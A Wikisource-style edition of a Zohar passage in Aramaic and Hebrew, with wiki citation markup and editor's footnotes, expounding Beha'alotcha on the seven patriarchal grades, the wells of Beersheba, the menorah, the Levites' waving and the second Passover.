ולקבל אינון שבעה יומין עלאין ברא קב&quot;ה בארעא שבעה זכאי קשוט לקיימא לון ולאנהרא לון - כל חד וחד לקבל יומיה. ושתיל להו כל חד וחד בדרא דאתחזי. ואינון אבהן דעלמא! אברהם יצחק יעקב יוסף משה אהרן דוד. ואינון אקרון {{צ|הרים}} - {{צ|הררי קדם}}, דאינון תליין מאינון שבעה יומין עלאין דאמרן. שיתא יומי בראשית ושביעאה דקיימא ואזיל קמייהו. הדא הוא דכתיב {{צ|ובית דויד כאלהים}} {{ממ|זכריה|יב|ח}}. 

ואף על גב דאיהו שביעאה - רביעאה איהו ביומין! ויוסף איהו שביעאה אבל כד אתכליל ביה ביוסף ויהיב ליה תפנוקא מבי מלכא - אקרי אוף איהי 'שביעאה'. וכולהו אחידו בה בשכינתא ברזא דשבעה. בגין דשכינתא אתקריאת {{צ|בת שבע}} - בת מאימא עילאה דאיהי כללא דשבע דרגין דעִמַה. ואיהי דרגא ד{{צ|צדק}}. עשיראה דאינון ספירן דאיקרי בהון קודשא בריך הוא. 


ואקרי שביעאה בקרא דכתיב {{צ|לך יהוה הגדולה והגבורה והתפארת והנצח וההוד כי כל בשמים לך יהוה הממלכה}} {{ממ|דה&quot;א|כט|יא}}

ומאי טעמא? והא רביעאה היא ליומי!? {{ש}}
אלא בגין דאיהי נטיעה בתראה דאתכלילת בשביעאה - בגין כך נטלה שמיה. וכלא חד! 

וכל חד וחד מאבהן ידע ליה לקב&quot;ה מגו דרגא דיליה ואחיד ביה בההוא דרגא. 
* אברהם ידע ליה לקב&quot;ה מגו חסד דאיהי מדת הגדולה, מדת החסד, ימינא דמלכא. ועל דא אחיד בה ולא שביק לה לעלמין, ועביד טיבו עם כל בני נשא ואוקמוה, דהא עובדוי סליקו ליה  להאי דרגא.
* יצחק ידע ליה בדרגא דגבורה דאקרי {{צ|פחד יצחק}} ודחיל ליה לעלמין. 
* יעקב ידע ליה מגו דרגא דתפארת דאיהו כליל מחסד ופחד, ואקרי {{צ|אמת}} ואחיד בה. הדא הוא דכתיב {{צ|תתן אמת ליעקב}} {{ממ|מיכה|ז|כ}}. 
* יוסף ידע ליה לקב&quot;ה מגו ההיא אספקלריא דאקרי {{צ|כל}} ואקרי {{צ|יסוד}} ואקרי {{צ|צדיק}}. ועל דא אקרי יוסף {{צ|כלכל}}{{הערה|וראו {{ממ|דה&quot;א|ב|ו}} - ויקיעורך}} דכתיב {{צ|ויכלכל יוסף}} {{ממ|בראשית|מז|יב}}, וכתיב {{צ|וצדיק יסוד עולם}} {{ממ|משלי|י|כה}}.
* משה ואהרן אינון תרין כרובים דאשתמע קלא דלעילא מבינייהו. ועל דא אתיהיבת אורייתא על ידייהו. הדא הוא דכתיב {{צ|ונועדתי לך שם ודברתי אתך}} {{ממ|שמות|כה|כב}}. ואינון תרין כרובין לעילא, ואינון {{צ|נצח והוד}}, ואינון תרין סמכי דגופא. כגוונא דא אית לה למטרוניתא לתתא תרין כרובין תחותה דינקין מינה. ואינון עלאין ודאי  {{צ|על ארון העדות}} דאקרי {{צ|צדק}}. 'ארונא דסהדותא' - מאן {{צ|עדות}}? דא יוסף. הדא הוא דכתיב {{צ|עדות ביהוסף שמו}}, ואקרי {{צ|תורה שבכתב}}. והאי ארונא תורה שבעל פה. 

תא חזי כל אינון אבהן עלאין דאחידן לעילא רמיזין כלהו בתורה שבכתב, {{צ|תורת יהוה}}.  ודוד דאיהו אחיד בברייתא דאיהי תורה שבעל פה - רמיזא בדברי קבלה. ובגין כך אקרי {{צ|קבלה}} -  דמקבלת נהירו מתורה שבכתב דאיקרי {{צ|צדיק}} ואיקרי {{צ|יוסף}} ואיקרי {{צ|כל}}.


ואינון תרין כרובין עלאין קיימין על ההוא סהדותא דארונא. הדא הוא דכתיב {{צ|והנצח וההוד כי כל בשמים ובארץ}} {{ממ|דה&quot;א|כט|יא}}. ודא איהו סיומא דשמים ומזווג להאי ארץ. 

והכי הוא דכל מה שברא קודשא בריך הוא ברא לקבליה לתתא. ויוסף אקרי {{צ|עדות}} - הדא הוא דכתיב {{צ|עדות ביהוסף שמו}}. ועל דא שמא דיוסף שלים בכלא - לעילא ותתא. ועל דא תנינן ארון דיוסף וארון דשכינתא בהדי הדדי הוו אזלין במדברא. והוו כולי עלמא אמרי &quot;''מה טיבן של שני ארונות הללו?''&quot;. ומתיבין לון &quot;''קיים זה מה שכתוב בזה''&quot; - {{צ|'''קיים'''}} ודאי! הדא הוא דכתיב {{צ|וצדיק יסוד עולם}} - איהו '''קיומא''' דעלמא. 

אתא דוד דאיהו שביעאה דאבהן - אחיד בה בהאי {{צ|בת שבע}} דאיהי {{צ|ממלכה}} ולא שביק לה לעלמין. הדא הוא דכתיב {{צ|ודוד עבדי נשיא להם לעולם}} {{ממ|יחזקאל|לז|כה}}, וכתיב {{צ|כסאו כשמש נגדי}} {{ממ|תהלים|פט|לז}}. 

וכל דא אוליף לן אורייתא. דכולהו אחידן בה בשכינתא ברזא דשבע. 

תא חזי אברהם בוצינא קדמאה קדישא דעלמא כד בעא לסלקא לדרגיה{{הערה|נוסח אחר: &quot;לאתקרבא בשכינתא&quot;}} לא יכיל עד דסליק ואשתמודע באינון תלת דרגין עלאין דעליה דההוא חולקא דיליה. כיון דסליק ואשתמודע ליה לקב&quot;ה מגו אינון תלת דרגין דעם אינון שבעה דאינון '''כתר עליון חכמה בינה''', ואינון שלימו דעשר ספירן דאיקרי בהו קודשא בריך הוא. וכיון דסליק באינון תלתא דאינון עתיקא ואבא ואמא דנגיד מנהון נהירו לתתא - כדין אחיד לחולקיה ההוא דרגא דתחותייהו דאינון תלתא דאקרי '''חסד''' 

וכולהו אדביק לון מגו ההוא אספקלריא דשלטא בליליא. דבהו ודאי לא הוה בר נש דידע כלום. ועל דא תנינן {{צ|בן שלש שנים הכיר אברהם את בוראו}} - {{צ|בן שלש}} דייקא!

ותא חזי רזא דהני שלש שנים ולא פחות - בגין דשכינתא אתקריאת {{צ|בת שבע}}, ולא יכיל לאתקרבא בהדה עד דסליק באינון תלת דרגין עילאין דעם אינון שבע לאשתמודעא מגוון ולאתנהרא בכל מה דאיהו לתתא. ותלת ושבע  - הא עשר דרגין עלאין, רזא דשמא דקודשא בריך הוא. וכיון דהוה מתנהיר באינון תלתא - בעא לסלקא באינון שבע. ברזא דכתיב {{צ|ויצב אברהם את שבע כבשות}} {{ממ|בראשית|כא|כח}}. 

ורזא דא רמז לאבימלך דלא ישלטון עליהון בנוי{{הערה|נוסח אחר: &quot;יתפרעון מנהון&quot;}} עד דישתלמו אינון שבעה זכאי קשוט בישראל לקבל אינון שבע דרגין דלעילא. כיון דאשתלימו - יתיב עלמא תתאה כגוונא דעלמא עלאה בקיומא שלים, וייתי דוד דאיהו שבעאה ויתער לההיא בת שבע דלעילא דאיהי נקמא נוקמיהון דישראל ויתפרע מנהון. {{ש}}
הדא הוא דכתיב {{צ|ויהי אחרי כן ויך דוד את פלשתים ויכניעם ויקח דוד את מתג האמה מיד פלשתים}} {{ממ|ש&quot;ב|ח|א}}. מאי {{צ|ויהי אחרי כן}}? בתר דאשתלימו ישראל והוו כגוונא דלעילא - כדין {{צ|ויך דוד את פלשתים וגו'}} - דהא עד השתא לא יכילו ישראל למתבר תוקפיהון. והא אתערו חבריא בההוא מתג האמה. ואוקמוה. 

ותא חזי האי דרמיז ליה אברהם בכבשות הצאן ולא בעזים ולא במידי אחרינא - בגין דאינון מסטרא דחסד, מאינון ממנן דינקין מסטרא דחסד, וינקין לתתא אינון כבשים תחות שלטניהון. ואברהם אחיד לחולקיה מדת החסד. וכלא ברזא דחכמתא. {{ש}}
ועל דא תנינן מאן דשרי גו ענא - לא מסתכן לעלמין! ואי איהו שארי גו עזיא ורעי לון - כמה גרדיני נימוסין יתבין לקבליה לאסטאה! בגין דאינון מסטרא דדינא קשיא. 

אבל כד אתא יצחק למגזר עמיה קְיָים - גזר עמיה ב{{צ|שבעה}} - בשכינתא דאתגליא מגו ההוא בירא דכתיב {{צ|ויקרא אותה שבעה}} {{ממ|בראשית|כו|לג}}. 

תא חזי אברהם קרא לההיא בירא דמיין נבעין {{צ|באר שבע}}. יצחק קרא ליה {{צ|שבעה}}. מה בין האי להאי?{{ש}}
אלא בגין דיצחק אחיד לחולקיה דרגא ד{{צ|פחד}} דאיהו דינא! ועל דא אוסיף בה '''ה''''. ו'''ה'''' בכל אתר היא מדת הדין. הדא הוא דכתיב {{צ|ויקרא אותה '''שבעה'''}} - דלא עבד בחורפן כמה דעבד אבוה. וכלא ברזא דחכמתא. ואוסיף בה '''ה'''' לאחזאה דאיהי חולקיה.

תא חזי כד ברא קודשא בריך הוא עלמא - ברא ליה בדינא. כיון דחזא דלא מתקיים - שיתף ביה חסד. הדא הוא דכתיב {{צ|בהבראם ביום עשות יהוה אלהים}} {{ממ|בראשית|ב|ד}}. ואוקמוה {{צ|באברהם}} אתקיים עלמא. בגיני כך האי בירא ביתא דעלמא על שמיה אתקרי. הדא הוא דכתיב {{צ|על כן קרא שם העיר באר שבע}} {{ממ|בראשית|כא|לא}}. אף על גב דהאי בירא אתדבק ביצחק דכתיב {{צ|ויקרא אותה שבעה}} - שמיה {{צ|באר שבע}} סטרא דאברהם! ולא &quot;באר שבעה&quot;!  הדא הוא דכתיב {{צ|וימינו תחבקני}} {{ממ|שיר|ב|ו}}. 


ותא חזי ארבעה מאינון שבעה זכאי קשוט כד בעו לאתקרבא בשכינתא ברזא ד{{צ|שבע}} - כולהו ערעו בהאי באר דלא פסקו מימוי לעלמין. {{ש}}
אברהם כרי ליה להאי בירא בגין דאיהו אוליף לכל בני עלמא דיפלחון לקודשא בריך הוא. וכיון דכרי ליה - אפיק מיין נבעין דלא פסקין לעלמין. וכיון דמית אברהם  מה כתיב? {{צ|וְכׇל הַבְּאֵרֹת אֲשֶׁר חָפְרוּ עַבְדֵי אָבִיו בִּימֵי אַבְרָהָם אָבִיו}} {{ממ|בראשית|כו|טו}} - '''{{צ|בארת}}''' כתיב. וחד הוה דכתיב {{צ|באר שבע}}. וקרינן {{צ|בארות}} - משמע דסגיאין הוו! בגין דהאי בירא אתחזי לון לאבהן בכל דוכתא דהוו אזלין - הוה מתחזי לון כבירין סגיאין.

כיון דמליוהא פלשתים עפרא - רזא דאהדרו בני עלמא לעבודה זרה, והוה עלמא שמם דלית דידע ליה לקודשא בריך הוא. כיון דאתא יצחק מה כתיב? {{צ|וַיָּשׇׁב יצחק ויחפור את בְּאֵרֹת המים אשר חפרו בימי אברהם אביו}} {{ממ|בראשית|כו|יח}}. מאי {{צ|וישב}}? אלא דאתיב עלמא לתיקוניה ואוליף לון לבני עלמא דידעין ליה לקודשא בריך הוא. הדא הוא דכתיב {{צ|ויהי אחרי מות אברהם ויברך אלהים את יצחק בנו}} {{ממ|בראשית|כה|יא}}. 

האי בירא ממאן הוה? ממיין דכל חיין דעלאין ותתאין וקיומיהון תליין ביה!  וחזי כלא! הדא הוא דכתיב {{צ|ידע מה בחשוכא ונהורא עמיה שרא}} {{ממ|דניאל|ב|כב}}. 

ותא חזי אינון {{צ|עבדי יצחק}} בגין דאינון מסטרא דדינא קשיא - כד חפרו ליה מה כתיב ביה? {{צ|שטנה}}. והא אוקמוה. עד דאתא איהו ויחפור באר אחרת {{ממ|בראשית|כו|כב}} {{צ|ויקרא שמה רחובות}} ודאי .  אבל עבדי אביו - בגין דכלהו מסטרא דימינא אתיין - ולא הוה שטנה בעלמא ולא נפיק דינא מהאי בירא לאשטנא לון כד לא כשרין עובדיהון. 

ומהאי בירא איהו פתחא למידע ליה לקודשא בריך הוא! הדא הוא דכתיב {{צ|פתחי לי שערי צדק אבא בם אודה יה}} {{ממ|תהלים|קיח|יט}}.

ועד דלא סליק יצחק מעלמא - בריך ליה ליעקב ושלחיה לחרן לאזדווגא. וכד אזיל לחרן מה כתיב? {{צ|וירא והנה באר בשדה}} {{ממ|בראשית|כט|א}}. כיון דחזא יעקב יקרא דקודשא בריך הוא מגו ההוא בירא דאיקרי {{צ|באר שבע}} - כדין אמר ללבן {{צ|אעבדך שבע שנים ברחל בתך הקטנה}} - {{צ|הקטנה}} דייקא!


תא חזי לקבל אינון שבעה זכאין פקיד קודשא בריך באורייתיה לקרבא קרבן מוסף בשבעה זמנין בשתא, בגין לאוספא להו תפנוקין ועדונין מבי מלכא. אבהן ישבעון בקדמיתא ובתר כן בנין. והם שבעה זמנין ולא יתיר.  
* '''בשבתא''' - לקבל צדיק יסוד עולם דאיקרי '''{{צ|כל}}''' ואיקרי '''{{צ|שבת}}'''{{הערה|נוסח אחר: &quot;מוסף שבת&quot;}} - לאוספא ליה עדונין ממוחא סתימא.
* '''ובריש ירחא''' - לקבל כנסת ישראל דאתקריאת {{צ|סיהרא}}, והוא דוד.
* '''ומחמיסר יומא לירחא קדמאה''' - לקבל אברהם אבוהון דאחיד במדת החסד ואקרי {{צ|ראשון}}.
* '''בירחא תליתאה בעצרת''' דאתיהיבת ביה אורייתא בשבעה קולות - לקבל יעקב דאיהו תליתאי לאבהן ואחיד ב{{צ|קול}} - {{צ|קול יעקב}}.
* '''ובריש שתא''' - לקבל יצחק דאתיליד ביה, ואנן מדכרינן ביה עקידת יצחק, ואיהו יומא דדינא לקבל מדת הדין דאחיד בה.
* '''וביום הכפורים''' - לקבל משה דקביל ביה קודשא בריך הוא צלותיה וחס על ישראל ואהדר ליה אורייתא. 
* '''בחג הסוכות''' - לקבל אהרן דבזכותיה אזלין אינון שבעה עננים דחפאן על ישראל כסוכות, ובגין כך אינון עבדין סוכה.

וכל אורייתא אית בה כמה רזין עלאין סתימין בה! וכד אלין שבעה מתוספין בברכאן - כל עלמא בשלימו סגיאה!{{ררר}}  {{גדול|''']'''}}


שבעה קשורין אינון דמתקשרי בהו  תלת אבהן וארבע אחרנין. 
* רישא ואמצעיתא בקשורא חדא, ואלין אינון דחפרו בירא דמיא. 
* תניינא - {{צ|זה אל זה}}, ואינון קשורא חדא בתלת יודין. 
* תליתאה - שלימו דכל מהימנותא. 
* רביעאה - תרין קיימין דגופא קיימא עלייהו. 
* חמישאה - טב וביש. נהרא דנפיק אילנא דחיי ומותא עמיקתא דכלא. 
* שתיתאה - דינא ברחמי. 
* שביעאה - בקדמיתא אתמר בההוא רישא דאמרן. 

בגין דאיהו אמצעיתא דכלא. ובגין דאיהו אמצעיתא דכלא אקרי ''{{צ|אני}}''' - קיומא דכל ענפין דמתאחדן מסחרניה. 


שבעה דרגין אלין - מדרגא חדא לדרגא  אחרא אשתמודעא רתיכא חדא בכל אינון דמתאחדאן ביה. וכן מדרגא לדרגא. וכלהו אתנהגן אבתריה דההוא דרגא דאתפקדא עלייהו. והא אוקימנא מלי. 

תא חזי בשעתא דאלין דרגין משתכחי - כל מהימנותא אשתכח! ואלין שבעה עננין דאסחרו להו לישראל. בגין כך כד נטלא שכינתא - באבהתא נטלא. וכד אלין נטלין - כלהו דרגין אחרנין נטלין בהו. וכדין אתעטרת כנסת ישראל כדקא יאות. 

תא חזי זבולן דקאמרן ירית {{צ|ים כנרת}} - ים כנרת סתם. והכי אתחזי. אי הכי יהודה מה חולקא אית ביה? אלא יהודה נטל מלכותא כלא ואתאחיד ביה בכל סטרין. 


רבי אלעזר אמר: האי פרשתא - הא אתמר עובדא דמנרתא ותקונהא וכל מה דבה! אמאי הכא זמנא אחרא? {{ש}}
אלא כיון דנשיאים קריבו  קורבנא דמדבחא וכל תקונא דאתחזי ליה - אתא קרא ואשתעי עובדא דמנרתא דהיא תקונא על ידא דאהרן. דהא לעילא מנרתא וכל בוצינין  דילה - על ידא דאהרן נהרין כלא. 

תא חזי מדבחא תריסר נשיאין הוו לחנכא ליה ולאתקנא ליה, והא אוקמוה, תריסר אינון שבטין לארבע סטרין ארבע דגלים. וכלהו  כגוונא דלעילא! &lt;קטע סוף=דף קנא א/&gt;{{ש}}
{{ממ זהר משולב|ג|קנא|ב}}{{ש}}
&lt;קטע התחלה=דף קנא ב/&gt;מנרתא אתמני בשבעה בוצינין לאדלקא על ידא דכהנא - וכלא כגוונא דלעילא. ומנרתא על את קיימא, ובניסא אתעבידת, והא אוקמוה בעובדא דמנרתא. 

ומדבח פנימאה ומנרתא קיימי כחדא לחדוותא דכלא דכתיב {{צ|שמן וקטרת ישמח לב}} {{ממ|משלי|כז|ט}}.  ואוקימנא דתרי מדבחן הוו; חד פנימאה דכלא והאי קיימא לחדוותא, וחד לבר לקרבאה קרבנין. ומהאי פנימאה נפיק להאי דלבר. ומאן דחמי ויסתכל - ינדע חכמתא עלאה. רזא דמלה '''אֲדֹנָי יֱהֹוִה'''. ועל דא לא אתקרב קטרתא אלא בשעתא דשמן אשתכח. 

אשכחנא בספרא דשלמה מלכא - קטרת הוא לחדוה ולסלקא מותנא. מאי טעמא? בגין דדינא מהאי דלבר אשתכח. וחדוותא וחדו וקשורא דנהירו מההוא פנימאה דכל חידו ביה קיימא. וכד האי אתער - כל דינא אסתלק מהאי, ולא יכיל למעבד דינא. ובגין כך קטרת קיימא לבטלא מותנא. ועל דא קטרת קשירו הוא דכלא ודא אתקריב בההוא פנימאה. 

זכאין אינון ישראל בעלמא דין ובעלמא דאתי עלייהו כתיב {{צ|ויאמר לי עבדי אתה ישראל וגו'}} {{ממ|ישעיה|מט|ג}}!


'''{{צ|קח את הלוים מתוך בני ישראל וטהרת אתם}} {{ממ|במדבר|ח|ו}}''' הא אוקמוה דבעי לדכאה  לון ולאמשכא לון לאתקשרא באתרייהו. בגין דאינון דרועא שמאלא וסטרא דדינא, וכל מאן דאתי מסטרא דדינא בעי דלא ירבי שערא בגין דאסגי דינא בעלמא. ועל דא אתתא כהאי גוונא - דלא יתחזי שערא לבר, ובעייא לאתחפייא רישה ולכסי שערהא. ואוקימנא והא אתמר. וכדין אתברכן כל אינון דאתיין מסטרא דדינא. {{ש}}
ועל דא בליואי כתיב '''{{צ|וכה תעשה להם לטהרם וגו' והעבירו תער וגו'}} {{ממ|במדבר|ח|ז}}'''. 

ואתמר, ליואי לא סלקין לאתרייהו עד דירים לון כהנא, בגין דימינא מדבר תדיר לשמאלא. 

ר' שמעון אמר: ביומא דסלקין ליואי בדוכתייהו - בתרין פרים. מאי טעמא פרים? אלא אינהו כפרים לקבלא בשמאלא להאי פרה דאקרי {{צ|פרה אדומה}}. {{ש}}
כהנא - כל חילא וכל תקונא ביה תלייא! בגין דכל חילא דגופא - בדרועא ימינא קיימא. ועל דא כהנא דרועא ימינא דישראל כלהו הוי, וביה קיימא לאתקנא כלא ולאתקנא עלמא. ועם כל דא לא אשתכח בלחודוי אלא בגופא ושמאלא. וגופא עקרא הוא דכלא.


{{קטן|'''[כאן שייך מאמר {{צ|והניף}} שבסוף הספר סימן ט']'''{{הערה|העתקתי את הטקסט של סימן ט' לכאן במהדורה זו - ויקיעורך}}}}

{{גדול|'''['''}} '''{{צ|והניף אהרן את הלוים תנופה לפני יהוה}} {{ממ|במדבר|ח|יא}}''' 

רבי יהודה שאיל לרבי אבא: &quot;''למה היה הכהן מניף את הלוים?''&quot;{{ש}}
אמר לו: &quot;''משל למה הדבר דומה - לתינוק כשהוא בוכה וכועס. מה עושין כדי לפייסו?''&quot;{{ש}}
אמר לו רבי יהודה: &quot;''מניפין אותו ומנענעים אות כדי לשתקו.''&quot;

אמר לו רבי אבא: יהודה יהודה! מלה זאת באה לידך ולא חקרת בה! והלא ישמעו אזניך מה שפיך מדבר! כך היא מדת הגבורה - כועסת ורוגזת דכתיב {{צ|שמעון ולוי אחים כלי חמס מכרותיהם}} {{ממ|בראשית|מט|ה}}, וכתיב {{צ|ארור אפם כי עז ועברתם כי קשתה}} {{ממ|בראשית|מט|ז}} לפי שהם מתגברים ומתקשים באפם ועברתם לצאת לעשות דין לכלות ולהכרית בני העולם. אזי הכהן שהוא החסד העליון מניף אותו הצד של הלוים שהיא מדת הגבורה כדי לשכך ולשקט רוגזה וכעסה כדי שישתברו השערות מכל שוליהון ולא יתגברו ולא יתחזקו. כעין דוגמא זו הכהן שמניף את הלוים תנופה כדי שישקוט הצד של הגבורה שלהן כדי שלא יתעורר הדין בעולם.{{הערה|סגנון המילים של הקטע לא נראים כטקסט של הזוהר במלואם לענ&quot;ד. נראים כסוג של פירוש ובלשון עברית. ואני העתקתי כמו שמופיע בנספח של דפוס ווילנא. וצע&quot;ע - ויקיעורך}} 

בא רבי יהודה ונשק את ידיו.  

וכשיתעוררו הדינין בעולם כל הדינים הנמצאים בכל יום ויום אברהם אבינו עליו השלום הוא דוחה אותה לחוץ ואינם עומדים לפניו. הדא הוא דכתיב {{צ|ואל זועם בכל יום}} {{ממ|תהלים|ז|}} {{גדול|''']'''}}


'''{{צ|זאת אשר ללוים מבן חמש ועשרים שנה ומעלה יבוא לצבא צבא בעבדת אהל מועד}} {{ממ|במדבר|ח|כד}}''' {{ש}}
תא חזי ליואה בר חמש ועשרין שנין יפלח. בר חמשין שנין - סליק לדוכתיה ואתעטר. וחמש ועשרין יפלח. דהא בר נש  כד סליק להאי דרגא דחמשין שנין ולהלאה - נחית מן תוקפא דאשא דביה. וכיון דאשא וחמימותא אתקרר - הא פגים לההוא אתר דאתקשר ביה. {{ש}}
ועוד - דקלא דזמרא לא אתקשר בהדיה כל כך. וקלא בעי דלא יתפגם אלא בעי לאתקפא! דהא באתר דדינא תקיף קיימא ולא בחלשא. ובגין כך לא בעי לאחזאה חולשתא כלל בכל סטרין. 

זכאה הוא בר נש דאשתדל באורייתא וינדע אורחוי דקב&quot;ה ולא סטי לימינא ולשמאלא דכתיב {{צ|כי ישרים דרכי יהוה}} {{ממ|הושע|יד|י}}:


'''{{צ|וידבר יהוה אל משה במדבר סיני בשנה השנית לצאתם מארץ מצרים בחדש הראשון לאמר}} {{ממ|במדבר|ט|א}}'''. {{ש}}
אמר ר' אבא: מאי טעמא אזהר להון הכא על פסחא, והא אתמר להו במצרים!? {{ש}}
אלא {{צ|בשנה השנית}} הוה - דישראל חשיבו דהא פסח לאו איהו אלא במצרים, וכיון דעבדו ליה זמנא חדא במצרים חשיבו דלא אצטריך יתיר. אתא קב&quot;ה ואזהר לון עליה דלא יחשבון דהא קא עבר זמניה במצרים ולא יצטריך. &lt;קטע סוף=דף קנא ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קנב|א}}{{ש}}
&lt;קטע התחלה=דף קנב א/&gt;בגין כך '''{{צ|במדבר סיני בשנה השנית}}''' - לאתקנא להו לדרי דרין. ואע&quot;ג דהא אזהר להו במצרים - השתא פקיד לון זמנא אחרא בההוא אתר דכל פקודין דאורייתא ביה אתיהיבו. ועל דא {{צ|בשנה השנית}}. 

מאי '''{{צ|בשנה השנית בחדש הראשון}}'''? אלא רזא עלאה היא! חד שנה וחד חדש. מה בין האי להאי? חדש - דא סיהרא. שנה - דא שמשא דנהיר לסיהרא. וכדין הוה בזמנא דכל פקודין דאורייתא אתמסרו ביה.

 
רבי שמעון אמר: ווי לההוא בר נש דאמר דהא אורייתא אתא לאחזאה ספורין בעלמא ומלין דהדיוטי! דאי הכי אפילו בזמנא דא אנן יכלין למעבד אורייתא במלין דהדיוטי ובשבחא יתיר מכלהו! אי לאחזאה מלה דעלמא - אפילו אינון קפסירי דעלמא אית בינייהו מלין עלאין יתיר - אי הכי נזיל אבתרייהו ונעביד מנייהו אורייתא כהאי גוונא! אלא כל מלין דאורייתא מלין עלאין אינון ורזין עלאין! 

תא חזי עלמא עלאה ועלמא תתאה בחד מתקלא אתקלו. ישראל לתתא, מלאכי עלאי לעילא. מלאכי עלאי כתיב בהו {{צ|עושה מלאכיו רוחות}} {{ממ|תהלים|קד|ד}} - בשעתא דנחתין לתתא  מתלבשי בלבושא דהאי עלמא! ואי לאו מתלבשי בלבושא כגוונא דהאי עלמא - לא יכלין למיקם בהאי עלמא ולא סביל לון עלמא. ואי במלאכי כך - אורייתא דברא להו וברא עלמין כלהו וקיימין בגינה - על אחת כמה וכמה! כיון דנחתת להאי עלמא - אי לאו דמתלבשא בהני לבושין דהאי עלמא - לא יכיל עלמא למסבל! 

ועל דא האי ספור דאורייתא - לבושא דאורייתא איהו! מאן דחשיב דההוא לבושא איהו אורייתא ממש ולא מלה אחרא - תיפח רוחיה ולא יהא ליה חולקא בעלמא דאתי! בגין כך אמר דוד {{צ|גל עיני ואביטה נפלאות מתורתך}} {{ממ|תהלים|קיט|יח}} - מה דתחות לבושה דאורייתא. 

תא חזי אית לבושא דאתחזי לכלא, ואינון טפשין כד חמאן לבר נש בלבושא דאתחזי לון שפירא - לא מסתכלין יתיר. חשיבו דההוא לבושא - גופא! חשיבותא דגופא - נשמתא! {{ש}}
כהאי גוונא אורייתא - אית לה גופא ואינון פקודי אורייתא דאקרון 'גופי תורה'. האי גופא מתלבשא בלבושין דאינון ספורין דהאי עלמא. טפשין דעלמא לא מסתכלי אלא בההוא לבושא דאיהו ספור דאורייתא ולא ידעי יתיר, ולא מסתכלי במה דאיהו תחות ההוא לבושא. אינון דידעין יתיר - לא מסתכלן בלבושא אלא בגופא דאיהו תחות ההוא לבושא. חכימין עבדי דמלכא עלאה, אינון דקיימו בטורא דסיני - לא מסתכלי אלא בנשמתא דאיהי עקרא דכלא, אורייתא ממש.  ולזמנא דאתי זמינין לאסתכלא בנשמתא דנשמתא דאורייתא! 

תא חזי הכי נמי לעילא! אית לבושא, וגופא, ונשמתא, ונשמתא לנשמתא! 
* שמיא וחיליהון - אלין אינון לבושא. 
* וכנסת ישראל - דא גופא דמקבלא לנשמתא דאיהי תפארת ישראל, ועל דא איהו גופא לנשמתא. 
* נשמתא דאמרן - דא תפארת ישראל דאיהי אורייתא ממש. 
* ונשמתא לנשמתא - דא איהו עתיקא קדישא. {{ש}}
וכלא אחיד דא בדא! 

ווי לאינון חייביא דאמרי דאורייתא לאו איהי אלא ספורא בעלמא, ואינון מסתכלי בלבושא דא ולא יתיר! {{ש}}
זכאין אינון צדיקייא דמסתכלי באורייתא כדקא יאות! חמרא לא יתיב אלא בקנקן - כך אורייתא לא יתיב אלא בלבושא דא. ועל דא לא בעי לאסתכלא אלא במה דאית תחות לבושא. ועל דא כל אינון מלין וכל אינון ספורין - לבושין אינון!


'''{{צ|וְיַעשו את בני ישראל את הפָּסח במועדו}} {{ממ|במדבר|ט|ב}}'''. מאי {{צ|ויעשו}}? אמר רבי יוסי הא אתמר כל מאן דאחזי עובדא לתתא כדקא יאות - כאילו עביד ליה לעילא! דהא בגיניה אתער ההוא מלה כביכול כאילו הוא עביד ליה. והא אתמר. &lt;קטע סוף=דף קנב א/&gt;
 

{{ממ זהר משולב|ג|קנב|ב}}{{ש}}
&lt;קטע התחלה=דף קנב ב/&gt;'''{{צ|איש איש כי יהיה טמא וגו'}} {{ממ|במדבר|ט|י}}''' - {{צ|איש איש}} תרי זמני אמאי? אלא איש דהוא איש ויתחזי לקבלא נשמתא עלאה, והוא פגים גרמיה דלא שרייא עלוי  נשמתא עלאה. מאי טעמא? בגין דאיהו גרים והוא מסאב ליה לגרמיה. ועל דא {{צ|איש איש}} - איש דיתחזי למהוי 'איש', והוא מסאב גרמיה דלא ישרי עלוי קדושה דלעילא.

{{צ|או בדרך רְחֹקָהׄ}} - דא איהו חד מעשרה דאינון נקודים באורייתא. וכולהו אתיין לאחזאה מלה! {{ש}}
מאי {{צ|בדרך רחוקה}}? בגין דבר נש דאיהו מסאיב גרמיה - מסאבין ליה לעילא. כיון דמסאבין ליה לעילא - הא איהו {{צ|בדרך רחוקה}} מההוא אתר וארחא דזרעא דישראל אחידן ביה. הא בדרך רחוקה אחיד! דאתרחק  מלמקרב לכון ולאתקשרא בכון כמה דאתון מתקשרין. 

אמר רבי יצחק: והא כתיב {{צ|כי יהיה טמא לנפש '''או''' בדרך רחוקה}} - דאתחזי תרין מלין, משמע דכתיב {{צ|או}}!? {{ש}}
אמר ר' יוסי: כאן עד לא מסאבין ליה, כאן בתר דמסאבין ליה. ומשמע אפילו האי או האי - לא ישרי עלוי קדושה דלעילא ולא יעבדון פסחא בזמנא דישראל עבדין ליה. 

ואי תימא הא בירחא תניינא עביד אי לא מתקן גרמיה! -- לא! אלא כיון דמתדכי ומתקן גרמיה - הא ירחא תניינא למעבד פסחא. מכאן כל בר נש דמדכי גרמיה - מדכאן ליה. 

דאי תימא דבדרגא עלאה יתיר קאים בירחא תניינא -- לאו הכי! דהא ישראל זרעא קדישא דעבדו פסחא בזמניה נטלו ליה לסיהרא ולשמשא כחד, ומאן דנטיל יסודא בקדמיתא נטיל בניינא. מאי יסודא? לא תימא יסודא עלאה דצדיקא דעלמא. אלא יסודא דאבן טבא! כמה דאת אמר {{צ|אבן מאסו הבונים היתה לראש פנה}} {{ממ|תהלים|קיח|כב}}. והאי הוא אבן דשארי עליה מאן דשארי. 

אמר רבי יהודה: ודאי כלא נטיל אפילו בירחא תניינא, אבל לאו איהו כמאן דנטיל ליה בזמניה. {{ש}}
מאי טעמא? {{ש}}
דא דנטיל פסחא בזמניה נטיל מתתא לעילא ולא נחית, בגין דמעלין בקדש ולא מורידין.&lt;קטע סוף=דף קנב ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קנג|א}}{{ש}}
&lt;קטע התחלה=דף קנג א/&gt;ודא דנטיל בתר זמניה נחית מעילא לתתא. בגין כך שוין בכלא, ולא שוין. דדא סליק ולא נחית, ודא נחית ולא סליק. בגין כך מאן דמקרב פסחא בזמניה - שבחא יתיר אית ליה. 

זכאין אינון ישראל דזכאן בכלא, דזכאן באורייתא! וכל מאן דזכי באורייתא - זכי ליה בשמא קדישא! זכאין אינון ישראל בעלמא דין ובעלמא דאתי! &lt;קטע סוף=דף קנג א/&gt;
 

{{ממ זהר משולב|ג|קנג|ב}}{{ש}}
